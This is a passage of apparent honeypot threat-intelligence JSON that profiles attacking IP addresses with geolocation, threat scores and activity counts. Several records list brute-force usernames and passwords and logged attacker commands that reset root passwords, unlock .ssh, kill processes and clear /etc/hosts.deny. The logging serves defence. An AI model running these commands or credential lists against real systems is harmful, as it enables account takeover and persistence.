      "first_seen": "2026-05-02T23:39:24.745Z",
      "last_seen": "2026-05-02T23:39:38.011Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T23:39:24.745000+00:00",
        "last_seen_30d": "2026-05-02T23:40:41.900000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.47.151.212": {
      "attack_count": 2,
      "first_seen": "2026-05-22T22:41:16.563Z",
      "last_seen": "2026-05-22T22:41:29.869Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 22047,
      "as_org": "VTR BANDA ANCHA S.A.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:41:16.563000+00:00",
        "last_seen_30d": "2026-05-22T22:42:34.752000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "192.140.64.17": {
      "attack_count": 2,
      "first_seen": "2026-05-04T05:14:26.056Z",
      "last_seen": "2026-05-04T05:16:26.062Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 266550,
      "as_org": "WTD TELECOM",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T05:14:26.056000+00:00",
        "last_seen_30d": "2026-05-04T05:17:58.374000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "205.250.100.248": {
      "attack_count": 2,
      "first_seen": "2026-05-03T15:23:53.538Z",
      "last_seen": "2026-05-03T15:24:06.882Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Mission",
      "asn": 852,
      "as_org": "TELUS Communications",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:23:53.538000+00:00",
        "last_seen_30d": "2026-05-03T15:25:14.006000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "213.103.6.97": {
      "attack_count": 2,
      "first_seen": "2026-05-06T07:36:48.689Z",
      "last_seen": "2026-05-06T07:37:02.372Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lithuania",
      "country_code": "LT",
      "city": "Kretinga",
      "asn": 1257,
      "as_org": "Tele2 SWIPnet",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T07:36:48.689000+00:00",
        "last_seen_30d": "2026-05-06T07:38:10.954000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.181.22.1": {
      "attack_count": 2,
      "first_seen": "2026-05-05T14:48:23.205Z",
      "last_seen": "2026-05-05T14:48:37.080Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chandigarh",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T14:48:23.205000+00:00",
        "last_seen_30d": "2026-05-05T14:49:39.624000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.215.198.161": {
      "attack_count": 2,
      "first_seen": "2026-05-10T12:08:15.839Z",
      "last_seen": "2026-05-10T12:08:28.666Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Abu Dhabi",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T12:08:15.839000+00:00",
        "last_seen_30d": "2026-05-10T12:09:32.508000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.77.55.244": {
      "attack_count": 2,
      "first_seen": "2026-05-05T14:10:50.107Z",
      "last_seen": "2026-05-05T14:11:03.332Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 51020,
      "as_org": "Al-Jazeera Al-Arabiya Company for Communication and Internet LTD",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T14:10:50.107000+00:00",
        "last_seen_30d": "2026-05-05T14:12:49.082000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.188.48.137": {
      "attack_count": 2,
      "first_seen": "2026-05-12T11:14:04.730Z",
      "last_seen": "2026-05-12T11:14:18.785Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 273197,
      "as_org": "HHNETWORK T, C.A.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T11:14:04.730000+00:00",
        "last_seen_30d": "2026-05-12T11:15:23.331000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "42.4.113.187": {
      "attack_count": 2,
      "first_seen": "2026-05-08T05:44:30.084Z",
      "last_seen": "2026-05-08T05:44:43.434Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:44:30.084000+00:00",
        "last_seen_30d": "2026-05-08T05:45:45.921000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "43.241.146.67": {
      "attack_count": 2,
      "first_seen": "2026-05-03T07:33:46.170Z",
      "last_seen": "2026-05-03T07:33:59.123Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ahmedabad",
      "asn": 45916,
      "as_org": "Gujarat Telelink Pvt Ltd",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:33:46.170000+00:00",
        "last_seen_30d": "2026-05-03T07:35:04.683000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "50.99.33.194": {
      "attack_count": 2,
      "first_seen": "2026-05-12T01:03:52.236Z",
      "last_seen": "2026-05-12T01:04:05.159Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Calgary",
      "asn": 852,
      "as_org": "TELUS Communications",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T01:03:52.236000+00:00",
        "last_seen_30d": "2026-05-12T01:05:14.944000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "67.230.79.11": {
      "attack_count": 2,
      "first_seen": "2026-05-24T18:16:35.452Z",
      "last_seen": "2026-05-24T18:16:48.025Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Jamaica",
      "country_code": "JM",
      "city": "Kingston",
      "asn": 30689,
      "as_org": "FLOW",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T18:16:35.452000+00:00",
        "last_seen_30d": "2026-05-24T18:17:53.839000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "72.255.33.151": {
      "attack_count": 2,
      "first_seen": "2026-05-07T10:48:38.250Z",
      "last_seen": "2026-05-07T10:48:50.491Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T10:48:38.250000+00:00",
        "last_seen_30d": "2026-05-07T10:49:53.087000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "72.68.145.82": {
      "attack_count": 2,
      "first_seen": "2026-05-25T03:19:25.268Z",
      "last_seen": "2026-05-25T03:19:37.570Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "The Bronx",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T03:19:25.268000+00:00",
        "last_seen_30d": "2026-05-25T03:20:44.948000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.222.159.179": {
      "attack_count": 2,
      "first_seen": "2026-05-03T20:57:18.719Z",
      "last_seen": "2026-05-03T20:57:49.513Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T20:57:18.719000+00:00",
        "last_seen_30d": "2026-05-03T20:58:58.706000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "92.241.37.249": {
      "attack_count": 2,
      "first_seen": "2026-05-08T15:39:01.080Z",
      "last_seen": "2026-05-08T15:39:14.998Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Jordan",
      "country_code": "JO",
      "city": "Zarqa",
      "asn": 9038,
      "as_org": "Al Bahrainia al Urdunia Liltaknia Wa Alitisalat Plc. Co",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:39:01.080000+00:00",
        "last_seen_30d": "2026-05-08T15:40:23.731000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "94.158.60.189": {
      "attack_count": 2,
      "first_seen": "2026-05-25T02:02:41.417Z",
      "last_seen": "2026-05-25T02:02:55.050Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 43060,
      "as_org": "IPLUS LLC",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T02:02:41.417000+00:00",
        "last_seen_30d": "2026-05-25T02:04:01.622000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "95.35.250.84": {
      "attack_count": 2,
      "first_seen": "2026-05-16T00:05:32.502Z",
      "last_seen": "2026-05-16T00:05:45.473Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 1680,
      "as_org": "Cellcom Fixed Line Communication L.P",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T00:05:32.502000+00:00",
        "last_seen_30d": "2026-05-16T00:06:48.057000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "134.195.101.206": {
      "attack_count": 930,
      "first_seen": "2026-05-07T19:36:22.826Z",
      "last_seen": "2026-05-08T03:15:32.182Z",
      "sessions": 465,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46997,
      "as_org": "Black Mesa Corporation",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 1425,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T19:36:22.826000+00:00",
        "last_seen_30d": "2026-05-08T03:16:34.089000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 930,
        "Suricata": 495
      }
    },
    "194.156.103.11": {
      "attack_count": 506,
      "first_seen": "2026-05-05T08:17:56.401Z",
      "last_seen": "2026-05-09T19:32:38.199Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "test",
        "user",
        "345gs5662d34",
        "oracle",
        "ftpuser",
        "git",
        "mapadmin",
        "alireza",
        "arkserver",
        "dev",
        "developer",
        "ftp",
        "ftp_user",
        "ftpadmin1",
        "ftpguest",
        "gittest",
        "gpadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "server2",
        "test",
        "1111",
        "123321",
        "12345678",
        "123456789",
        "123Abc!@#",
        "123qwe",
        "1qaz2wsx",
        "9999",
        "@abc123",
        "Abcd1234",
        "Admin123",
        "Changeme_123",
        "Oracle@123456",
        "Passw0rd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"mapadmin\\ndsCl4p7OKncA\\ndsCl4p7OKncA\\n\"|passwd",
        "echo \"passwort\\nqaJ1P0KQh11O\\nqaJ1P0KQh11O\\n\"|passwd",
        "echo \"root:M1HGB9o1gnV5\"|chpasswd|bash",
        "echo -e \"mapadmin\\ndsCl4p7OKncA\\ndsCl4p7OKncA\"|passwd|bash",
        "echo -e \"passwort\\nqaJ1P0KQh11O\\nqaJ1P0KQh11O\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": null,
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.1,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 652,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T08:17:56.401000+00:00",
        "last_seen_30d": "2026-05-09T19:33:41.887000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 506,
        "Suricata": 146
      }
    },
    "45.76.124.229": {
      "attack_count": 500,
      "first_seen": "2026-05-03T06:20:49.301Z",
      "last_seen": "2026-05-03T11:00:48.582Z",
      "sessions": 250,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 20473,
      "as_org": "The Constant Company, LLC",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 798,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T06:20:49.301000+00:00",
        "last_seen_30d": "2026-05-03T11:01:55.385000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 500,
        "Suricata": 298
      }
    },
    "41.60.234.108": {
      "attack_count": 442,
      "first_seen": "2026-05-19T18:16:41.063Z",
      "last_seen": "2026-05-20T18:11:14.589Z",
      "sessions": 221,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 664,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:16:41.063000+00:00",
        "last_seen_30d": "2026-05-20T18:12:20.545000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 442,
        "Suricata": 222
      }
    },
    "102.208.34.7": {
      "attack_count": 437,
      "first_seen": "2026-05-14T10:21:14.877Z",
      "last_seen": "2026-05-21T01:38:05.533Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "github-runner",
        "admin",
        "fa",
        "git",
        "home",
        "linux",
        "liu",
        "pakchoi",
        "sammy",
        "techuser",
        "testuser",
        "vpn",
        "zhaoxj"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        "strongpass",
        "1201",
        "123",
        "123123..",
        "123456",
        "123Qwe123C",
        "123root123",
        "147258",
        "19951995",
        "?",
        "@#qwe123",
        "ABCabc123@",
        "Aa11111111",
        "Kermit123@",
        "Login123!",
        "QAZwsx123",
        "Tech$123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"github-runner\\nOoQ5OgSpZRim\\nOoQ5OgSpZRim\\n\"|passwd",
        "echo \"root:Buj0E6hb7JmF\"|chpasswd|bash",
        "echo \"root:ZoNS8iTMtR7H\"|chpasswd|bash",
        "echo -e \"github-runner\\nOoQ5OgSpZRim\\nOoQ5OgSpZRim\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Botswana",
      "country_code": "BW",
      "city": null,
      "asn": 329473,
      "as_org": "Click-Connect",
      "threat_score": 30.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.5,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 560,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T10:21:14.877000+00:00",
        "last_seen_30d": "2026-05-21T01:39:11.212000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 437,
        "Suricata": 123
      }
    },
    "211.228.218.47": {
      "attack_count": 385,
      "first_seen": "2026-05-13T23:38:52.442Z",
      "last_seen": "2026-05-24T02:56:11.171Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "audit",
        "admin123",
        "container",
        "daniel",
        "debian",
        "eren",
        "gerrit",
        "git",
        "gituser",
        "jrodriguez",
        "postgres",
        "samp",
        "steam",
        "sysadmin",
        "tauro",
        "test",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "1234..",
        "123456Dd",
        "1234qweR",
        "123QWE!@#",
        "1q2w3e4r!",
        "345ert#$%ERT",
        "Aa000000",
        "Aa@11223344",
